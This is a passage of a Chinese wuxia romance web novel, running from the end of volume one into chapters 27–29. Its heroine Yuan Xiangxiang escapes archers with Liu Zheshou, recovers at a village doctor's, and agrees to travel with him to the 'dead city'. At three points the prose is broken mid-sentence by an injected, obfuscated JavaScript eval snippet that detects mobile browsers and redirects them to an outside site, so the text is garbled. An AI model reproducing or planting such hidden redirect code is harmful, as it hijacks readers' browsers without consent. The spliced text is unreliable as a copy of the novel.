“你先走,顺着西南那个方向。”她手起刀光落,须臾间便已割断了柳折舟身上的绳索。 柳折舟凝眉望着她,目光难测。 “唰!”的一声,一支白羽箭深深钉在他们身旁的树干上。 几乎就是在她跃起的一瞬间,从漫无边际的黑暗里便飞来一支箭矢,那箭矢穿过半空,近乎贴着他们的面前而过。 她细腕一挑,将长鞭收回,转瞬间又把鞭身紧紧缠在柳折舟腰上,奋力把柳折舟扔进了西南方向的黑暗里。 “你先走!”原湘湘厉声喝道。 她罕见地着了急发了怒,不再是一如既往的喜怒不形于色。 原湘湘才刚将手里的长鞭再次收回,身形陡然一滞,左臂便传来一阵闷痛。低头细看,那不知何处飞来的暗箭射中了她的上臂。 “……嘁!”她眉头紧皱,心知射箭的人不是一般,可无奈找不到她的藏身之处。 那两个壮汉见自己的大哥直接死在了原湘湘手里,本来心中有些忌惮,但如今见到原湘湘已经中箭,立即挥着大刀砍来。 不留丝毫思考的余地,原湘湘当即收起长鞭,再次抽出短剑,将箭身斩断,便持剑迎上那两把大刀而去。 那把短刀,是原湘湘的及笄之礼。听她说以后要出去闯荡,那个实心眼的铁匠师父用了五年来打这把剑。 好在她已回复了些许内力,虽然左臂用不得,但对付两个只会用蛮力的持刀大汉,她还是游刃有余的。 刀剑相触,原湘湘下腰后仰,径直让那两把大刀劈了个空。 但是……此前便搜索无果,再加上这三人……此处不可久留。她暗自心道。 就在大刀劈空的瞬间,瞬间又有一支箭飞向她的右腿,原湘湘当即左翻,可一个重心不稳,她便摔倒在地上。 “咳!”她猛咳一声,地上的灰土扑鼻而入,全身突然抽搐一下,紧接着割裂般的痛楚袭遍全身被撕裂的筋脉虽然经过鬼观音的一番救治,但似乎又裂开了。 可眼前那两个大汉并不给她留有喘息的余地,见她扑到在地,立即又高高扬起刀朝她砍过来。与此同时,又有一支箭矢从她对面的树丛中飞出。 原湘湘干脆一不做二不休,待双刀与箭矢即将袭向自己的同时,她旋身而起,箭矢飞过后,双脚便踩在刀背之上。 “嗖!”那只箭没入她刚刚躺过的地面上。 那二人见原湘湘直身踩在双刀刀背之上,脸色顿时变得难看无比。他们兄弟二人对视一眼,正欲发力抽刀横劈,不料,原湘湘借着刀身之力,又从刀背出跳起。 “铛——!!”一支白羽箭撞在了刀身之上停住落下。 那兄弟二人只觉得自己虎口发麻,继而刺痛,低头看时,虎口已被那白羽箭震裂。 原湘湘从刀背上跃起,便借力跳往西南方向的树丛。 她刚刚几个纵身起伏离去,身后便有数支白羽箭钉在她的落脚处。 原湘湘脸色凝重,她惊觉:跑错方向了! 可是此刻回头,俨然就是迎箭而上,她只得硬着头皮,在黑色的树林中穿梭。幸而林木茂密,为她提供了不少掩护,箭矢已不像之前那般凶狠凌厉。 她在疲于奔命,身后还紧紧跟着那两个大汉,不时还会有箭矢射来,看来今日不取她性命怕是不会罢休…… 可是,就在此刻紧要关头,她的眼前突然显出一团白色的影子。 “……!”原湘湘面色大变,喘息瞬间都粗重起来。 她看见柳折舟上身褴褛不堪,那个人正缩在旁边树丛的阴影里,朝着自己招手! 原湘湘脚下发力,几个瞬身便落在他的身边,板着一张脸,冷声问道:“你为什么还不走? ” 柳折舟玉面浮上诧色,似乎想要开口解释,原湘湘突然抬手一个熊抱把他的脑袋压下,搂在怀里。 几乎就在他们弯腰的瞬间,又一支箭破空而过,径直扑入远处的黑暗里。 原湘湘凝眸细窥远处,刀刃一般的眼瞳隐约泛起惊慌之色。暗处,不知那射箭之人在何处,且此人武功高于自己;明处,那两个挥刀大汉几乎要被愤怒冲昏了脑袋,正朝着自己追过来。而眼前……还有一个柳折舟…… 事不宜迟,自然逃命要紧! “跟我来!”原湘湘探身钻进树丛走在前面,一边小心翼翼地收起左臂,一边又握住柳折舟的手腕,牵着他躬身走在枝条横闭的树丛里。 只顾着逃命的原湘湘神色凝重,气息也一沉一滞的。她全身伤口崩开,疼痛与鲜血还在朝着全身蔓延,但仍旧不忘紧紧抓着柳折舟的手腕。 她并未意识到自己身后的早已柳折舟缄声静气,微微低下的脸已经完全化在了黑暗里。 唯独那只被原湘湘紧紧抓住的手,手指时不时地轻微抖动,继而缓缓回握了原湘湘的手。 他们二人一路东躲西藏,避着逐渐靠近的人声,顺着黑暗里一通摸索,本想抄近道下山,可当他们走出树林后,眼见着前面一个断崖。 一路摸黑乱撞,竟又来到了缘觉崖! 屡次三番,三番屡次,是否因果,是否了悟? 夜色漆黑无涯,后面的人,追得又紧;暗处的人,不知何时现身。 “今夜,你们两个都得给我大哥陪葬!” 那两个大汉顺着原湘湘落脚的地方,发现了草木树丛被压踩过的痕迹,于是他们欲擒故纵的追了一路。 “你哪来的那么恶毒的武器!”那个稍矮的老二在远处喝道:“你用鞭子夺我大哥性命在先,那把剑又卷了我们兄弟俩的刃!今日,就算用刀背,也要把你们俩剁成肉酱给我大哥陪葬!” 眼见那二人越追越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725232|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近,暗处又不时有暗箭擦身而过。 原湘湘望了一眼那处断崖,她心知自己一个人可以安然无恙过去,可是…… 似乎是瞧见了她的难处,柳折舟轻轻一笑,道:“原姑娘还是先行一步……折舟在这里等你搬救兵过来。” 他说的风轻云淡,雁过无痕,似乎真的只要在这里稍待片刻。 “你在想些什么?”原湘湘也不知为何,突然瞳孔收缩,面上一凛,怒气横生。 她斥道:“抱我!” 柳折舟一怔,显然被吓得不知所措。 “快!” 柳折舟颤抖着的胳膊刚刚隔空环抱着原湘湘的身体,右臂便被猛然推开,他以为是自己无礼唐突佳人,却不料“铮”的一声直灌入耳,紧接着一支白羽箭撞在了原湘湘的短剑上,顿时落地。 原来刚刚原湘湘是出剑挡住飞矢,否则他的右臂也要中箭。 “腰!”原湘湘眼底晦暗,还在警觉四周,可是慌乱之色已经浮在面庞。 眼见着那两个大汉就要扑到面前,刀光凛冽—— “好……”柳折舟豁出命来,直接抱住原湘湘的腰。 他的胳膊刚抱住原湘湘,便听的耳旁传来一声疲惫的叮嘱:“抓紧。” 话音刚落,柳折舟便听见长鞭飞出的声音,紧接着便看见将鞭子往树干上一甩缠住,两个人用鞭子当作逃生的绳子,企图荡飞到对面去。 原湘湘运气迈步,连带着腰上带着的柳折舟一口气猛冲断崖而去—— 二人跃起的瞬间,那持刀的两个大汉碰巧挥刀而至,与此同时,一阵冷风拂树而过,飘飘然两枚落叶滑过那二人面前,人刀倒地,不复再起。 腾空而起的瞬间她还在担心勉强跳过这个断崖,接下来又该如何是好……岂料,心中一松,手里不紧,九尺长鞭猛然从树干上簌簌抖落,他们二人才堪堪触及断崖这一岸,刚着地,就顺着山坡往下滚。 原湘湘本就左臂上插着半只箭,这般滚动,那箭矢更是直接刺骨而去。可她心下却无暇顾及,眼见山坡上树木丛生,乱石遍布,若不赶紧停下来…… 心脏快要从胸膛里挣破而出—— 若是撞上石块—— “我绝不要死在这里——” 一只细长的手指轻点石面,便停住了。 她感觉到有人在轻抚她的头发,动作轻柔,就跟很多年前那个人一样。 一边摸头发一边出言安慰:“没事了没事了。” 她突然抬头,嘴角紧抿,双眼虽紧紧盯着对面,但却漠然无神。眼泪从面颊划过,掉进了一件破破烂烂的衣襟里。 只是,还没等到回答,她就径直昏了过去,彻底没了意识。 柳折舟仰面躺在地上,破烂不堪的衣衫残花似的洒满地面,那一双素来笑意盈盈的眼睛此刻却无波无澜。 他凝视天幕,天底清光漫漫,心底里慢慢涌起一股不知名的情绪,搅得他心底难受至极。 慢慢地,那双骨节突出的手才轻轻把早已失血昏倒的原湘湘按进怀里。 世人都恨观音,只有你……唯爱观音。 不归三月春风拂过处,柳絮纷飞桃花落满城。 第一卷完。 27.互相以为对方是同(上) 胸腔仿佛被用力挤压,耳边依有不断的脚步声……想试着抬手,左臂却仿佛脱离了身体一般,完全不受控制……沉重,窒息,剧痛,脑海中一阵激荡—— 原湘湘猛然睁开眼! “你醒啦~”一声轻轻柔柔的呼喊,还有一张脸光点似的在她眼前晃来晃去。 她心中一颤,扭头愣愣看着眼前那人。 还未等及她彻底适应刺眼的日光,那声音便又传了过来:“湘湘姑娘,现下感觉如何?” 不待她回答,那个声音便递过一方帕巾在旁招呼着:“姑娘家家的,哭多了会变丑哦。” 她想起自己在奉国寺那天。 那天,她的脸埋在衣襟里,风也很冷,看到有人满脸担忧地来接自己时,一时之间心里犹如打翻了五味瓶。 她感觉手心里一阵摩梭,一只满是伤痕的长手轻轻握住她的右指,原湘湘却顿时瞪大了眼睛,凝眉注视着眼前人。 柳折舟见她满脸警惕,连忙双手上举,道:“放心,换洗衣物和外伤换药,都是大夫的女儿——小云姑娘去做的。” 柳折舟当她只是担忧姑娘家的名声问题。 “嗯。”原湘湘心间一暖,缓缓回道,“多谢。” 她将脸埋进床里,一言不发。 柳折舟见她这般样子,只当她受伤未愈,身体不适不想被打扰。他道:“这些话就不必说了,你我之间何必说这种客气的话,湘湘姑娘先养身体。对了,姑娘还是转过来躺着比较好,不然会压着胳膊。” “嗯。”脸朝着床里的原湘湘发出一声略微嘶哑却又乖巧十分的应答,很快就转过身来,双目紧闭着。 柳折舟瞥见那张与平素一般平淡的脸,才稍稍放下了心,便收扇离开了。 柳折舟出去后,良久,她才深吸一口气又极其失落地叹出一口气。 兀自感慨,从与他相遇开始,自己的生活就没再平静过。 尽管柳折舟鸡毛事多又十分可疑,但又总会让人觉得他温暖又可靠,尤其是在看向他的时候,原湘湘总会像刚刚那样,偶尔将他看成另外一个人。 真的好像啊……原湘湘兀自沉吟着,随后闭上了眼。 左臂那一箭委实让她吃足了苦头,幸运的是,箭伤没有入骨,恢复起来应不是大事。 她试着抬起左手,可是仍旧没有多大感觉,不过,她突然想到,箭被自己用短刀防住没能射入骨头正常,可是,后来自己昏迷着从断崖滚下来,却没有受多余的伤,甚是奇怪。 她又缓缓睁开了眼。 时值晌午,阳春三月,天清气朗。 柳折舟出了门以后,见着几个药童和大夫在一处闲聊,那瘦脸长须的大夫看见他后,便朝他招手,道:“柳公子,屋内的姑娘可是醒过来了?” “嗯,醒了。”他回道,“多谢大夫回春妙手。” 那大夫不仅不笑反倒面上浮现丝丝不安,道:“公子,也不是我不愿做你这笔生意,您给的钱再多我这小庙也装不下您这尊大神呐……” 这位老大夫话说的没错。 那一晚,他正陪着几个弟子在偏房研药,彼时已是夜半时分,天色漆黑昏沉,大门紧闭,僻静山村寂静,只能听见些虫鸣鸟叫。 突然间,院中黑犬狂吠不止,一位弟子便打着哈欠去开了门。 只是这门才刚开,那位弟子登时便踉跄着躲了回来,他手朝外指着,口中还不住结巴着:“师……师父……” 众人抬头望去,只见一位满身血污的白衣公子怀抱着一个昏迷不醒的血衣姑娘悄无声息地站在门口,那公子面色冷漠,眼中晦暗。 老大夫和众弟子一见便知,眼前这二人定不能随意招惹上,否则,就是自找麻烦。 很快,那白衣公子道:“大夫神医妙手,心似菩萨佛陀,救人一命,在下自当重酬。” 说罢,那白衣公子径直将怀中的血人放在了药房的床榻上,而后又将数锭白银奉上,丝毫不给众人拒绝的余地。 老大夫见着白花花的银锭子,心头一颤,他心知那二人不是寻常人,可是那白衣公子说话做事俨然不给留任何余地,更何况那姑娘确实伤得不轻…… 总归,这事他也便应下了。 时至今日,老大夫估摸着那血衣姑娘已无大碍,便不想再与他们有任何瓜葛。 毕竟自己只是个乡野大夫,万一真惹上什么晦气,那后面几十年还要不要过咯…… 柳折舟嘴角轻抬,笑问:“大夫……这是在赶我们走?” “公子您这哪里的话……我这是担心您二位的安危。” “嗯?”柳折舟俨然来了兴致。 他并非走不得,只是被赶走,这属实让他心中微微不悦。 “城中来了个采花贼,据说武功高强心思诡极,至今官府都没抓着人。也不知那贼人到底是施了什么障眼法,惹得那些被抢过的姑娘,十个里面有八个都要嫁给他。”老大夫说着就猛拍大腿,胡子气得直翘,估计此事也是他数十年间闻所未闻见所未见的。 “对,专门偷人芳心,一纸桃花寄情。小云姐姐说她也好想被那个大盗抢上一回。”旁边一个灰衣小弟子说道。 “什么嘛,听说只偷好看的年轻姑娘的心。”另一个弟子插嘴道,“小云姐姐又不漂亮!” 旁边的老大夫气不打一处来,怒斥道:“南星,天冬,你们俩瞎说什么!” 柳折舟在一旁哭笑不得,只因那个小云姐姐是老大夫的亲女儿,这几日里也是她一直帮忙照顾的原湘湘,脾气也是一等一的好。 不过,专偷姑娘芳心的大盗,他倒是想亲眼见识一番。 “哗啦”一声,他便绕着扇柄轻轻摇摇走了出去。 临近晌午,原湘湘正披着衣裳坐在床边。 日光洒进屋中,屋内明亮温暖,她那一头长而微卷的头发静静垂散在身后,就像潭水深处映光飘摇的水草一般。 “湘湘姑娘?”木门被推开,进来一人,“不披件衣服小心会风寒。” 人还没到跟前,饭菜的香气和温温柔柔的叮嘱已经进到了耳朵里。 原湘湘抬头看他。 她总觉得自己似乎还没睡醒,以至于总是将柳折舟认成另一个人。 “来,看这个。”柳折舟放下饭菜后,从床那头叠着的一沓衣服里抽出一件极为修长且宽大的锦绣外衫。那件白衣服上还残留着大块大块的暗色印记,但即便如此也能见得这件衣衫的做工和用料不凡。 “我洗了好久,可是上面的血迹实在洗不掉,只能麻烦湘湘姑娘将就收下了。”柳折舟略带歉意地朝她笑笑。 “你可知这件衣服从哪儿来的?” 柳折舟挑眉一笑:“自然知道。湘湘姑娘说的话做的事,怎么可能会有假?” 听到柳折舟说到此处时,原湘湘不但没有开心起来,反而垂下了脑袋,长长的额发将她的脸盖住了大半,身后蓬松的长卷发随着身体的起伏微微晃动着。 柳折舟慌忙坐到她身边,伸着脖子道:“怎么?湘湘姑娘没见到那个人吗?那一晚,我听寺里的和尚说,她明明来了呀。” “嗯。”原湘湘咕哝一声。 但她又走了。 “你没追到她?”柳折舟追问,脸色异常严肃。 “嗯。”她哽着喉咙。 “怎会如此!此人当真……可恶。”他的眉间拧出一个“川”字,怒骂道,“连我们湘湘姑娘都不收,我看此人就是黑了心瞎了眼——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言罢,他径直伸出两手抓住了原湘湘的手。 四下一时寂静。 两个人大眼对小眼,互相打量着对方。 原湘湘垂眸望着柳折舟手,他正抓着自己的手,紧紧握在心口,像是抓住了什么宝贝一般。 她干巴干巴咽下嘴里的饭,愣在原地不敢动,两只大眼睛只是一直盯着柳折舟在看,看那个人越凑越近的脸。 “怎么样?” “什么怎么样?” 原湘湘从他的掌中抽出手,自己转身背对着他。 这又是为何啊?他这是怎么了?被水泡坏脑子了? 原湘湘背对着柳折舟不去看他,自己一个人偷偷地往手上吹凉气,她只觉得自己的手烫得不得了。 不,是整个人都烫得不得了,甚至头发丝儿都在冒着热气,脖颈间已经渗出湿意,柳折舟的体温就好像熔岩一般顺着皮肤流进了她的身体里。 明明就是温温热热的体温而已,还好这些都没人看得见。 她正在庆幸自己还好没有因为羞涩落跑,否则就是丢大人了。 这边原湘湘正因为害羞发烫在一旁默不作声,那边柳折舟脸上就像杀人犯游街一样难看。 他只看见原湘湘面不改色地抽回手,并且十分淡定地说着“什么怎么样”。 “她这是对男人毫无反应啊!!!”柳折舟活了二十四年,第一次露出如此不堪的表情。 是悔恨,是悲伤,是气愤……是兼而有之。 “湘湘姑娘,我先退下了。” 28.互相以为对方是同(下) 老大夫正在隔壁院子里晒药,两个小弟子在一旁帮忙。 师徒三人正忙得火急火燎,只觉眼前一阵清风吹过,定睛一看,那个表面一套背地一套的“两张脸”公子已然立于老大夫面前。 “公……公子,有何事?是那位姑娘的伤还不妥当?” “我们已经尽力了。”两个小徒弟立刻护在师父身前,“你别想赖账医闹。” “不是。”柳折舟皱着眉摇摇头,他道:“大夫,我想请您治一种罕见之症。” “啊?” “我想说知道怎么治疗喜欢别人的病症。”柳折舟面色严肃中透着焦急,义正词严道,“治疗姑娘家喜欢别人的毛病。” 大夫轻轻抬眼,一脸“你是不是有病”的表情:“我是大夫不是月老,你要是想知道直接去问不就好了。” “这话我怎么问的出口。” “问不出口你就别喜欢。”天冬和南星立即补刀。 “………不是,我是说怎么治喜欢跟自己一样的人的病。” 大夫白了一眼柳折舟:“两个人互相喜欢肯定会有相同点,不然,在一块儿那还不得天天打架?” 这年轻公子是不是脑子有病? “不不不,不是,我是说怎么治喜欢湘湘姑娘喜欢……不是!怎么治疗喜欢女人………也不是!我是问怎么治我喜欢男人的病!”他大喊一声,顿时天地俱静。 柳折舟听见自己如雷一般的心跳,那声音清晰得让他害怕。 他一睁眼就看见大夫一脸的难以置信,然后老大夫就利落地丢给他一包中药。 他没接住。 再抬头,原湘湘不知何时也站在此处,她正面无表情地看着自己。 她左胳膊上还打着绷带,十分淡定地用另一只手捡起中药交到柳折舟手里。 柳折舟心道:完了,这回全完了,她不会以为我好男风吧。 他觉得自己已经不是想死,而是已经直接埋上了。 柳折舟,你一直想的不都是这个吗?怎么,现在实现了,却又不高兴了? 当真是个反复无常的男人。 “我准备要走了。”原湘湘淡淡道。 她本来就是因为某种莫名的情绪扰乱她的心思而苦恼不已,如今,听到柳折舟这番话,她却不知为何心里有些空落落的。 既然如此,那不如早些离去。 人,不能一直只盯着得不到的看。 柳折舟连忙跑到她的跟前,面上焦急万分,眼角通红,可他的话全都堵在喉间,不知为何,就是说不出来一个字。 原湘湘明明比他矮了一个头还多,明明是柳折舟在俯视她。 可柳折舟望见原湘湘的眼神,总觉得是她在居高临下地审视自己。 眼神如同尖刀一般锐利,几乎将他凌迟了个遍。 她一定以为我喜好男色! 想到此处,他忽然大惊,一向温温柔柔的脸上突然风起云涌了起来。 原湘湘觉得自己心里莫名涌出一种愉悦来,她饶有兴致地打量着他。 虽然不知柳折舟心里究竟在想些什么,但见他面色大变,忽而眉头紧蹙,忽而咬唇自愤,好些种颜色在他的脸上纷纷扬扬,这些表情一齐由他这张脸做来,还真是别有一番兴致。 柳折舟只顾着自怨自艾,他并没有注意到原湘湘的变化。 我要怎么证明呢?柳折舟扪心自问:解释?口说无凭! 总不能耍流氓脱裤子吧!但这与证明不好男色有什么关系?只能证明是个男的…… 原湘湘就这样看着他的脸好像扭成了麻花,突然“噗呲”一声笑了出来。 她发觉失态,立刻转过身去,佯装冷漠,实则自己一个人在背后偷偷回味柳折舟方才的一言一行。 “湘湘姑娘……”柳折舟病恹恹的。 原湘湘故作高深道:“不日我便离开,钱也不用还了,我们两相抵过,你好自为之吧。” 话音刚落,只见柳折舟面色苍白,将手中指节捏得失血泛白。 此后数日,二人之间默契的安静,没有谁会再对方面前多说一个字。 柳折舟时常来往原湘湘和小云姑娘的房间时,眉间总会拧在一起,流露出一种追悔莫及的痛楚神情。 再加之他眼窝里的那颗似有若无的小痣,看得原湘湘经常不好意思继续盯着他看。 “你怎么了?是湘湘不要你了?”小云见他孤零零一人坐在院中,上前打趣道。 柳折舟起身施礼,道:“不瞒云姑娘的话,确实如此。” 突然就说要走,这怎么不算被抛弃? 如此算来,他柳折舟才是有万般不甘的那一方。 虽然不是什么贞洁烈“男”,但女子若被男子轻薄了去,男子就得负责;怎么他柳折舟几乎光溜溜被她从浴桶里捞出来就不用负一点责任? 可是,她眼里只有那个观音! 小云姑娘和原湘湘几乎同岁,二人又都是山野间长大的孩子,一来二去间熟络得很快。 小云姑娘吸吸鼻子,将那一篮子药草放在石桌上,她刚一落座,柳折舟就已经行云流水般地为她倒茶送水。 “你还真是个有眼力见的。”小云姑娘两颊泛着桃花般的粉红,她兀自感慨着,“不知那传闻中的桃花大盗是否也跟柳公子一样呢?或者比你更好~嘿嘿。” 柳折舟此刻也坐在小云对面,他似乎有些难为情,便道:“多谢云姑娘抬爱,不过,折舟还是想提醒云姑娘一句:‘路边的陌生男人不要随意捡’。” “哈哈哈。”小云听他一言,开怀大笑,“好好好。” “看来湘湘姑娘并没有将我们二人之间的事全盘托出。”他心道。 小云姑娘喝下一口茶,转而道:“话说回来,我觉得你这人有问题。” 柳折舟一愣。 “我见你和湘湘的关系肯定不一般。” 柳折舟忽然双手紧握,一幅受刑等死的模样。 小云又道:“俗话说‘男大当婚女大当嫁’,这又有什么?你这人最大的毛病就是爱躲。” 柳折舟怔怔看着面前的小云,他感觉自己全身都在绷紧,好像偷东西被抓个现行的贼。 他支支吾吾问道:“愿……闻其详。” 小云姑娘道:“我爹他们说得对,你有什么就去问,说错了就去解释,你不说出来,谁知道你心里在想些什么东西。” 毕竟,人心隔肚皮啊。 小云姑娘大肆教导一番后,便扬长而去,独自留下柳折舟一人在原地生根。 第二日,原湘湘正在屋内打包行李,忽然听见一阵火急火燎的叫喊声,然后木门被人撞开,只见小云面色焦急地跑了进来,她朝着原湘湘喊道:“柳折舟!柳折舟他摔进水塘了!” 原湘湘突然呆住,似乎还没彻底反应过来。 小云见原湘湘木头似的愣在原地,直接扑上去拉着她便往外走:“还愣着干嘛呀,我爹和南星他们几个正在捞人呢!” 原湘湘还没来得及想出个所以然,就听小云道:“去晚了就捞上来了,咱们就没看得了。你都不知道,我爹直接将他放了一年的新渔网拿了出来,哈哈,他说今天要抓条大鱼,定有丰收,然后请邻里乡亲过来吃全鱼宴!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740008|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原湘湘悄悄弯起了嘴角。 她也十分认同老大夫的观点。 大鱼就得用大网,抓到了可不得好好庆祝一番? 等她们二人跑到水塘边上时,打捞工作已然结束。 老大夫在旁指挥着天冬南星两个弟子分从两旁拉网上岸,那崭新结实的渔网里兜了零星几条的鲫鱼、鲤鱼等,而在渔网中间,最大的鱼——还埋着一个湿漉漉的昏过去的惨白的人。 原湘湘望之便知是柳折舟又泡水了。 她挣脱小云上前解网,小云知道原湘湘左臂还未恢复,她也跟着上前帮忙。 柳折舟倒在岸边不醒,下半身还泡在水里,湿透的长发贴在他的脸畔,颈边,又沉沉落在岸边的春花野草上。 温温柔柔的眉眼埋在春草中,和煦的日光照在他的身上,竟有种湿淋淋的异样感觉。 原湘湘直勾勾地盯着他的脸在看,他眼窝里的那颗小痣沾了水后似乎更加清晰。 “湘湘姑娘,这事跟我们可没关系,他自己洗衣服把自己洗进去了。”天冬道。 南星也紧跟上前:“村头南边的李婶说,他非要找什么能把血迹洗干净的东西,然后就一个人拿着棒槌把自己捶到塘里面去了。” 之后,天冬和南星二人就把柳折舟扛了回去。 原湘湘走到池塘边,在一块露出睡眠的青石板上找到了柳折舟留下的衣服,棒槌和木盆。 “你在看什么呢?湘湘?”小云上前拿过东西。 原湘湘道:“不知道。” 不知道是个傻子还是别的什么。 晚间,原湘湘左等右等不到小云,最后还是决定去看一眼柳折舟。 “后天我要走了,我得跟他辞行,好歹他也用心照顾过我。”原湘湘自言自语道。 早春晚间依旧清寒,月光流下,天地一白。 她走到柳折舟住的那间小屋时,陡然间又停在了门口。 眼前的一切似曾相识。 上次是不是这样发现他突然假死掉? 想到此处,她心中莫名涌起几分急躁,便忙不迭地推门进去。 “柳折舟,你醒了没?” 轻轻淡淡的询问飘荡在寂静的房间里,原湘湘四下望过去,简朴自然的小屋中只有一盏油灯亮着。 她静静坐在柳折舟的床边,一如许久之前那般。 垂眸闭目的他,面容融化在微弱的灯光中,安宁寂静的面庞泛出几许悲天悯人的意味来。 原湘湘控制不住自己的手,她轻轻抚上柳折舟的脸庞,温热的。 这次还好没出事。 却不料缩手回来时,又粘了一手雪屑似的东西。 “这该不会真的是他泡发了的灰吧……怎么会有这样的?”她望着自己沾满碎屑的手,不禁皱起眉头。 又凑近闻了闻,也不曾出现怪异。 她才刚刚说完,就听见床上的柳折舟发出一阵急促的呼吸,然后他突然诈尸般瞪大两只眼。 那两眼空空望着空无一物的房顶。 原湘湘被他这反常举动吓了一跳,上前问道:“你……还好吧?” 柳折舟蓦然睁着眼睛,如同志怪小说中的走尸妖怪一般,喉中发出粗哑的悲鸣:“………我……想……” 原湘湘附身离他更近,侧耳听他。 她确实有些担心的。 “……我……”柳折舟眼珠一轮,盯着原湘湘,目光无比虔诚,“我想吃辣。” 桌上的烛火顿时呲了一下,屋内寂静异常。 原湘湘默默起身迅速离开,她的脸隐没在烛火照不到的黑暗里。 29.一厢旧梦悠悠似我心(上) 远处山坳间日光正好,微风和煦,两边树木刚刚抽出新芽,一团团浅绿深黄的浓云笼罩其上。 微风过时,那一团团新生的叶云便被吹得左右招摇,好不快意。 不多时,那丛树荫之后,山坳之间荡出一阵刀剑相接之声,团团绿云也被那声音震得东倒西荡。 “嗬!你这妖怪哪里逃!今日便是你的死期!”一个温温柔柔的嗓音故作威严大声喝道,“待我今日了结了你,再送你轮回投胎,下辈子做个好人吧!” 言毕,又是一阵噼哩哐啷的响动,紧随其后的便是阵阵皮肉被刀刃划破的声响。 “休要伤到湘湘姑娘!”柳折舟大喝一声,赶忙上前接住原湘湘没拿稳的火石,“活儿交给我来就行。” 他滑溜溜地窜到原湘湘面前,满面春风得意,跟泥鳅似的滑。 原湘湘瞅着他,一时不知说什么才好。她对于柳折舟超出常人的反应能力是相当叹服的。 当日在奉国寺山脚下的小茶馆,他也是这般窜了出来,否则当日她一定会死在苏叶的长剑之下。 柳折舟接过了火石便去生火,不多时,几缕浓烟冒出,而后火苗烧起,那浓烟也变成了袅袅炊烟。 “你会的还挺多。”原湘湘道。 柳折舟轻抬一只眉头,笑道:“那是自然。所以说呀,湘湘姑娘带上我那是绝对——” ??! 原湘湘面无表情给他后背拍了一拳,强行关上了柳折舟的嘴巴:“跟着我,我也会好好照顾你的。” 柳折舟只笑:“那是自然。” 她顺手拿过柳折舟方才处理过的鸡,将鸡肉置于火焰之上,烤了起来。 为了更好的入味,鸡的身上划开了不少口子,又往里面放了不少调料。 方才柳折舟神神叨叨一通乱说,就是他在处理鸡肉。 这一切的起因都归结于那晚柳折舟说他要吃辣。 原湘湘临行前已然决定孤身一人回家,可是刚刚苏醒的柳折舟又围在她的跟前,阴魂不散。 原湘湘回忆着,那人叽里咕噜说什么呢,她已经没了印象。总之,他就是说要原湘湘捎他一程。 “湘湘姑娘难道忘了,我之前就说过‘你去哪里我便去哪里。’”他长眉一拧,眼尾顿时泛出薄红,一副可怜兮兮的样子。 随后,果真原湘湘到哪里他便跟到哪里。 如果说,相遇是偶然,那这般死缠烂打非要跟随,要说他没点心思在里面,原湘湘可不信。 二人当时正在村头集市里采买路上所需物品,市集上人声鼎沸,来来往往都是人,他也全然不顾别人眼光。 柳折舟跟在原湘湘身边,端的是一个眼明手快,不管原湘湘看见什么,但凡她眼中流露出些许颜色,他便上去掏钱采买;原湘湘若是面色不对,眉头一紧,他便立刻严词拒绝。 其中就包括这只鸡和许多做饭物件。 “你这么跟着我,到底想干什么?”原湘湘不是那种弯弯绕的性子,她素来有话直说。 柳折舟刚好谈妥一辆马车,他擦擦额头上的汗,道:“实不相瞒,湘湘姑娘,我这般跟着你,确实是有事相求。” 原湘湘没说话,默默看着他。 柳折舟将缰绳递给她,便恭恭敬敬地行礼,恳求道:“我知湘湘姑娘不仅侠义心肠,而且温柔善良……” “……”原湘湘被他说得浑身不自在,“你有话就直说。” “我一个朋友的心上人失踪了,我们猜测可能是被死城城主抓了去。” “又不是我的心上人。” 原湘湘倒不是不善良,而是死城那处,一旦进入,再想安然无恙的出来……不对,是想活着出来,绝非易事。 她此行只是来寻鬼观音,既然鬼观音不在,那她也没必要多一事。 想到此处,她的心头不免又酸涩起来。 那一晚,鬼观音虽然救了她,可是却让原湘湘输得体无完肤,这到底是什么意思? “死城一直都是南方的要塞,不过,也正因这个缘故,其中混杂着无数能人异士。不久前,听说城主闭关修炼,净抓些未出阁的女子用作炼药。我担心我的那位友人……” “那你之前去奉国寺的目的也是说来骗人的?” 原湘湘现在笃定,他就是想趁着试剑大会来招兵买马。不料,试剑大会状况频发,这才让柳折舟着了道。 柳折舟支支吾吾解释道:“不……并不是。” 原湘湘将缰绳塞进他的手中,转身便走。 柳折舟见她要走,便急急忙忙道:“死城内有人修炼前朝的邪术,而且东濑国公主也会路过死城,鬼观音说不定也会为了调查孤鸿剑鞘的秘密前去。” 原湘湘的脚下一停。 她知道,鬼观音也是修炼前朝邪术之人,即便强大如她,也不能在白日现身。 如果想要真正得道升仙,就必须得找到灵帝墓,而灵帝墓的地图据传就被封印在孤鸿的剑鞘之中。 想到此处,原湘湘的眼中的坚冰慢慢消融,她的脑海中渐渐浮现出了那一日的夕阳。 斜阳影长,云霞漫天。 那个人轻轻将满身血污和伤痕的原湘湘搂进怀里。 “我去。”原湘湘转身回道。 